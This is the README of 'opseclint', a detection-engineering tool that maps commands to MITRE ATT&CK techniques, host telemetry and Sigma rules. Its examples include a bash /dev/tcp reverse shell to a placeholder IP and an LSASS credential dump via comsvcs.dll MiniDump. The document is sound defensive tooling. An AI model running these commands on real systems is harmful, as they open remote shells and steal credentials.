About The Project
opseclint points at a command, a script, or a post-exploitation playbook and statically resolves each action to the MITRE ATT&CK technique(s) it implements, the host telemetry it emits, and the detections that would fire. Each with a detectability score. It answers one question: “what would a defender see?” across Linux/auditd, Windows/Sysmon, and macOS/Endpoint Security.
$ opseclint -c 'bash -i >& /dev/tcp/198.51.100.10/4444 0>&1'
opseclint — detection-coverage report (linux-auditd)
1 line analyzed, 1 finding
L1 [CRITICAL 82] Bash /dev/tcp reverse shell — interactive C2 channel
technique T1059.004 Command and Scripting Interpreter: Unix Shell
telemetry bash execve() followed by connect() to attacker IP
detection Sigma: Reverse shell via /dev/tcp redirection (proc_creation_lnx)
summary loudest action: CRITICAL (82)
Who it's designed for
- Detection engineers validating coverage. “If an operator ran this, would my ruleset catch it, and with what telemetry?”
- Purple teams mapping an engagement's actions to expected detections.
- Red teams (under authorization) reasoning about a playbook's telemetry footprint.
[!NOTE] opseclint describes detectability, or the defensive signal an action generates. It is not an evasion tool: it does not recommend “quieter” alternatives. Absence of a finding means only that nothing in the knowledge base matched, and never that an action is stealthy.
Built With
Getting Started
Prerequisites
Nothing at runtime. opseclint ships as a single self-contained binary. To build
from source you need a stable Rust toolchain (edition 2024).
Installation
Or grab a prebuilt binary for Linux, macOS (Intel + Apple Silicon), or Windows from the Releases page, or build from a checkout:
Docker: a tiny (~750 KB, scratch-based) image is published to GHCR:
Usage
|
Ingesting real telemetry
The runs above are predictive: given a command, opseclint resolves the
telemetry a sensor would emit. --telemetry flips the direction — it
ingests the events a sensor actually recorded and maps each back to
techniques, detectability, and coverage, answering "given what the sensor did
record, which techniques does this represent?"
Three formats are supported, selected with --format:
sysmon(the default) — Windows Sysmon Event ID 1 (Process Create), as a JSON array of events or JSONL.auditd— Linux auditdexecveevents, as rawaudit.logtext. The multi-lineSYSCALL/EXECVE/CWDrecords of one event are reassembled by theiraudit(…)id, the argv rebuilt from theEXECVEfields (quoted and hex-encoded values decoded), and the program taken from theexepath.esf— macOS Endpoint SecurityNOTIFY_EXECevents, aseslogger execJSON (array, single object, or JSONL). The image, argv, and working directory come fromevent.exec.target; the calling process supplies a realParentImage.
Each record reduces to the same Command the analyzer already understands, so
--json, --sarif, --navigator, and --edr all work on ingested events, and
observed verdicts agree with the predictive ones. Only process-execution records
are ingested as their own units; other event classes are skipped and counted —
but Sysmon network/file/registry events (EID 3 / 11 / 13) are correlated by
process id back to the execution that caused them and shown as confirmed
secondary telemetry (a green ◉ observed: line), turning predicted telemetry
into recorded proof.
Pass --users <passwd-file> to resolve numeric auditd uids to names (so
User-keyed detections resolve); without it, a numeric uid is left unresolved
rather than guessed.
A non-execution event with no captured causing execution (e.g. a registry
Run-key set by an uncaptured process) is matched directly against the KB's
event axis, producing a standalone finding — so persistence written outside a
captured command still surfaces.
Because a real event carries more than a command line, pairing --telemetry
with --sigma evaluates each detection against the recorded event — so a
rule keyed on a field a command line can't supply resolves instead of reading
indeterminate:
# ◆ Sigma: Certutil Spawned By An Office Application (…) fires (high)
# — predictive mode would read: indeterminate (needs ParentImage)
See docs/design/telemetry-ingest.md.
Platforms
Select the host telemetry model with --platform (default linux-auditd):
| Platform | Telemetry model |
|---|---|
linux-auditd |
Linux with auditd / EDR syscall events |
windows-sysmon |
Windows with Sysmon (Event IDs) / Security log |
macos-es |
macOS with Endpoint Security (ESF) / unified log |
Each platform has its own embedded knowledge base, so whoami resolves to Linux
execve() telemetry, a Windows Sysmon EID 1, or a macOS ESF NOTIFY_EXEC
depending on the target. Windows program names are normalized
(C:\…\certutil.exe → certutil). When combined with --sigma, rules are
filtered to the platform's logsource.product.
Real Sigma rules
By default, detection references in the seed KB are representative. Point
--sigma at a checkout of SigmaHQ/sigma (or any directory of Sigma
YAML) and opseclint indexes every rule by its ATT&CK technique tag, then replaces
each finding's references with the genuine rule titles and UUIDs that match.
Platform-relevant rules only.
# ◆ Sigma: Linux Command History Tampering (fdc88d25-…) fires (high)
# ◆ Sigma: Linux Reverse Shell Indicator (83dcd9f6-…) no-fire (critical)
Each attached rule is also evaluated against the matched command, so the
line notes whether it would actually fire, no-fire, or is indeterminate
(the rule needs a field a static analyzer can't see). The same parsed index
backs --coverage-gaps.
The parsed index is cached to disk (fingerprinted by the ruleset directory), so
repeat runs against a large checkout skip re-parsing and note [cached] on a
hit. Override the location with OPSECLINT_CACHE_DIR; --no-sigma-cache
bypasses it.
Evaluate a single rule (--check-rule)
Beyond technique-tag matching, opseclint can evaluate a command against a Sigma
rule's actual detection:/condition: logic and report, per command, whether it
FIRES, NO-FIREs, or is INDETERMINATE. The last meaning the rule keys
on a field a static analyzer can't synthesize (e.g. ParentImage, a hash), so
opseclint honestly abstains rather than guess.
$ opseclint script.sh --check-rule docker_socket.yml
sigma rule check: Docker Socket Access Via Curl Or Wget (85f46916-…)
L1 curl FIRES
L2 wget NO-FIRE
L7 curl INDETERMINATE
(needs ParentImage)
Coverage gaps (--coverage-gaps)
The headline purple-team feature: given a playbook and a real --sigma ruleset,
report the blind spots, or actions whose ATT&CK techniques have rules, yet
none of those rules actually fire on the specific command.
$ opseclint examples/recon.sh --sigma sigma/rules --coverage-gaps
opseclint — coverage gaps (linux-auditd) vs 251 rule(s)
✓ COVERED L23 Bash /dev/tcp reverse shell [T1059.004, T1071]
fires: Suspicious Reverse Shell Command Line
⚠ GAP L18 Socket / network connection discovery [T1049]
rule(s) exist for its technique(s), but none fire
? INDET L6 System owner / current user discovery [T1033]
needs host fields to confirm
summary 1 gap(s), 10 covered, 3 indeterminate, 2 no-rules
GAP = a rule for that technique exists but wouldn't trigger on this action;
INDET = a matching rule needs a field a static analyzer can't see; NO-RULES
= the ruleset has nothing for that technique. With --ci, the run exits
non-zero when any gap is found.
Coverage diff (--diff)
Save a report with --json, then later compare a new run against it to see what
coverage changed — findings added, removed, or whose detectability / Sigma
verdict shifted. It answers "did this change make me louder or quieter?" —
whether the change is to the playbook (did I get stealthier?) or to the --sigma
ruleset (did my new rules close gaps?).
$ opseclint before.sh --json > baseline.json
$ opseclint after.sh --diff baseline.json
opseclint · coverage diff · linux-auditd
baseline 4 finding(s) · current 2 finding(s)
────────────────────────────────────────────────────────────
+ MEDIUM 35 Running process discovery T1057
- CRITICAL 82 Bash /dev/tcp reverse shell — interactive C2 channel T1059.004, T1071
- CRITICAL 80 Piping downloaded content directly into a shell interpreter T1059.004, T1105
- HIGH 55 Remote file transfer / HTTP client — tool ingress or exfil T1105
────────────────────────────────────────────────────────────
summary +1 · -3 · ~0 · max noise 82 → 45 · quieter
Collapsed per rule (not per line), so it survives line-number shifts. --diff
honors --json for a machine-readable delta, and pairs with --sigma to catch a
rule flipping a finding from no-fire to fires. With --ci, the run exits
non-zero when the change is louder — peak detectability rose above the
baseline — matching the tool's "loudest action" metric.
Combine it with --coverage-gaps to diff blind spots between two rulesets —
which gaps closed and which opened — the purple-team "did my new rules
actually improve coverage, and did anything regress?" check:
$ opseclint playbook.sh --sigma old-rules --coverage-gaps --json > gaps.json
$ opseclint playbook.sh --sigma new-rules --coverage-gaps --diff gaps.json
opseclint · coverage-gap diff · linux-auditd
gaps 3 → 1 · covered 5 → 7
────────────────────────────────────────────────────────────
✓ CLOSED Bash /dev/tcp reverse shell — interactive C2 channel GAP → COVERED [T1059.004, T1071]
⚠ OPENED Socket / network connection discovery COVERED → GAP [T1049]
────────────────────────────────────────────────────────────
summary 1 closed · 1 opened · 0 changed · coverage regressed
Here --ci exits non-zero when coverage regressed — a previously-covered
action became a blind spot, or the total gap count rose.
EDR telemetry (--edr)
The native telemetry line answers "what does the OS record?"; --edr answers the
question "what would my EDR console show?" by mapping each finding to
the concrete sensor event or hunting table the major EDRs surface it as. Pass a
vendor (crowdstrike, defender, sentinelone, elastic) or omit the value for
all four. Output is otherwise unchanged, so it stays opt-in.
$ opseclint -c 'rundll32 comsvcs.dll, MiniDump 660 lsass.dmp full' --platform windows --edr
● CRITICAL 84 L1 LSASS memory dump via comsvcs.dll MiniDump — credential access
├ T1003.001 OS Credential Dumping: LSASS Memory
├ ◈ Sysmon EID 10 (Process Access) targeting lsass.exe
├ ◆ Sigma: LSASS dump via comsvcs MiniDump (proc_creation_win) (high)
├ ◎ CrowdStrike Falcon: (credential-access detection; ProcessRollup2 of the accessing process)
├ ◎ Microsoft Defender for Endpoint: DeviceEvents (ActionType OpenProcessApiCall)
├ ◎ SentinelOne: Cross-Process (open process handle)
└ ◎ Elastic Defend: process (event.action:process_access)
Mapping works by classifying the native telemetry into an event class (process
creation, network connection, file write, module load, LSASS access, log clear, …)
and looking that class up per vendor so new KB entries get EDR coverage for free.
CrowdStrike values are event_simpleName, Defender values are Advanced Hunting
tables, SentinelOne values are Deep Visibility event types, and Elastic values are
ECS event.category/event.type. They're representative. Validate against
your own sensor version and telemetry config. A (…) value means that sensor has
no first-class event for the class and the activity surfaces indirectly.
GitHub code scanning
--sarif emits SARIF 2.1.0, so findings surface in a repo's
Security → Code scanning tab, tagged with their ATT&CK technique and a
security-severity derived from the detectability score. See
.github/workflows/ci.yml for an upload job.
Use as a GitHub Action
A composite action (action.yml) downloads a released binary and
analyzes a path in CI (Linux runners):
- uses: ezekiellabs/opseclint@v1.2.0
with:
path: examples/
platform: linux-auditd # or windows-sysmon | macos-es
fail-threshold: "75" # optional: fail the job on a loud action
sarif-file: opseclint.sarif # optional: emit SARIF...
- uses: github/codeql-action/upload-sarif@v4 # ...then upload it
with:
sarif_file: opseclint.sarif
Detectability score
A 0–100 estimate of how strongly an action surfaces in defensive telemetry (higher = louder), bucketed as:
| Score | Severity |
|---|---|
| 0–24 | LOW |
| 25–49 | MEDIUM |
| 50–74 | HIGH |
| 75–100 | CRITICAL |
--ci turns this into a gate: it exits non-zero when the loudest modeled action
meets or exceeds --threshold, so a team can fail a pipeline on tradecraft that
exceeds an agreed noise budget.
How it works
- Parser (
parser.rs): quote-aware tokenizer that strips comments andVAR=valueassignments, splits on control operators, unwrapssudo/env/…, and resolves each segment to a program + arguments. A preprocessing pass joins line continuations, resolves commands hidden in$(...)/backtick substitutions, and handles here-docs (body skipped as data unless it feeds a shell interpreter). - Knowledge base (
data/knowledge*.json): one KB per platform; each entry maps a command (or a raw pattern) to ATT&CK techniques, the telemetry it emits, representative Sigma-style detections, and a detectability score. - Analyzer (
analyzer.rs): matches every action against the KB, deduplicates per line, and ranks findings loudest-first. - Report (
report.rs): terminal, JSON, or SARIF output, plus the CI gate.
Steps 1–3 live in opseclint-core; step 4 is this
binary. All KBs are embedded at compile time, so opseclint ships as a single
static binary with no runtime dependencies. Adding coverage is a data change,
not a code change. See CONTRIBUTING.md.
Use it as a library
The knowledge base, the match engine, and the Sigma evaluator are published
as opseclint-core — the same code
this binary runs, for tools that need to answer "what would a defender see?"
somewhere other than a terminal.
use ;
let kb = load?;
let report = analyze;
One caveat carries over, and it matters more in a library than in a report a
human reads: rule evaluation is three-valued. INDETERMINATE means the input
could not answer the question — treat it as its own verdict, never as "not
detected". Full docs at docs.rs/opseclint-core.
Use it from an agent
opseclint-mcp is an MCP
server over the same knowledge base, so an agent doing security work can ask
what a command emits instead of guessing.
Four tools: analyze_command, lookup_technique, evaluate_sigma_rule, and
describe_coverage. It speaks stdio, makes no network calls, and reads no
files — rules are passed inline rather than by path.
The three-valued caveat above becomes the whole design here. Agents amplify
whatever they are given, so an indeterminate silently rounded to "not
detected" is worse than no answer at all: it manufactures evidence of stealth
out of an honest abstention. No result field is a boolean about detection,
every result carries a limits list naming what it does not establish, and
describe_coverage exists so "nothing matched" is always distinguishable from
"not modeled".
Try it against the examples/ playbooks:
What's shipped
- Three platforms: Linux/auditd, Windows/Sysmon, macOS/Endpoint Security
- Real SigmaHQ enrichment with an on-disk cache
- SARIF output → GitHub code scanning
- Distribution: crates.io, prebuilt binaries, a GitHub Action, and a GHCR image
opseclint-core: the knowledge base,matchengine, and Sigma evaluator as a library, with this binary as its first consumeropseclint-mcp: an MCP server over the same knowledge base, designed so an agent cannot silently turn anINDETERMINATEinto a claim of stealth- Sigma rule-logic evaluator: three-valued
FIRES/NO-FIRE/INDETERMINATE, via--check-rule --coverage-gaps: flag actions whose techniques have rules but where none fire- macOS/Endpoint Security KB at breadth parity with Linux/Windows (66 entries)
- EDR-specific telemetry mappings: CrowdStrike, Defender, SentinelOne, Elastic via
--edr - Linux/Windows KBs with cloud, container/Kubernetes, LOLBin, and modern persistence/evasion coverage (83 / 84 entries)
- Coverage diff: compare a run against a saved report to see what coverage changed, via
--diff - ATT&CK Navigator layer export: visualize technique coverage on the MITRE matrix, via
--navigator - Gap-to-rule scaffolding: generate a starter Sigma rule for a modeled action (or a
--coverage-gapsblind spot), via--scaffold - Ingest real telemetry: map recorded sensor events back to techniques and coverage, via
--telemetry— Windows Sysmon Event ID 1 JSON, Linux auditdexecvelogs, and macOS Endpoint SecurityNOTIFY_EXEC(eslogger); with--sigma, evaluate detections against the real event so parent/integrity/working-directory-keyed rules resolve instead of reading indeterminate
Next
Honest about what isn't done yet:
- Sigma modifiers
re,cidr,base64/base64offset,windashstill evaluate toUnknown(design note, #56). Most Windows knowledge-base claims currently readINDETERMINATEunder--verify-detections; how much of that these modifiers account for is not yet measured, because the evaluator does not distinguish "unsupported modifier" from "field the event doesn't carry". - Event-scoped matching on Linux and macOS (#57). The
eventaxis is platform-general, but--telemetryonly produces standalone non-execution events for Sysmon — the auditd and ESF paths return none at all, so this is blocked on ingest before it is a knowledge-base question. - Side-effect correlation beyond Sysmon (#57). Correlating non-execution events back to the process that emitted them is wired for Sysmon EID 3/11/13; auditd and ESF are the natural follow-ons.
serde_yamlis deprecated and sits on the--sigmaand--check-rulepaths.
See CHANGELOG.md for release history. Have an idea or a gap to report? Open a coverage request or start a discussion.
Contributing
Contributions make the open-source community an amazing place to learn and create. The most valuable contributions here are new detection coverage and false-positive/negative fixes (most of which are data changes, not code).
- Fork the project
- Create your feature branch (
git checkout -b feat/amazing-coverage) - Run the gates:
cargo fmt --all --check,cargo clippy --all-targets -- -D warnings,cargo test - Commit your changes (
git commit -m 'Add some amazing coverage') - Push to the branch (
git push origin feat/amazing-coverage) - Open a Pull Request
See CONTRIBUTING.md for the knowledge-base entry schema and conventions. By participating you agree to the Code of Conduct.
License
Distributed under the MIT License. See LICENSE for more information.
Contact
Garrett Allen — @Gerrrt
Project Link: https://github.com/ezekiellabs/opseclint
Acknowledgments
- MITRE ATT&CK — the technique taxonomy opseclint maps to
- SigmaHQ — the open detection-rule standard behind
--sigma
Detection references in the seed KB are representative of publicly available Sigma logic and should be validated against your deployed ruleset before you rely on them.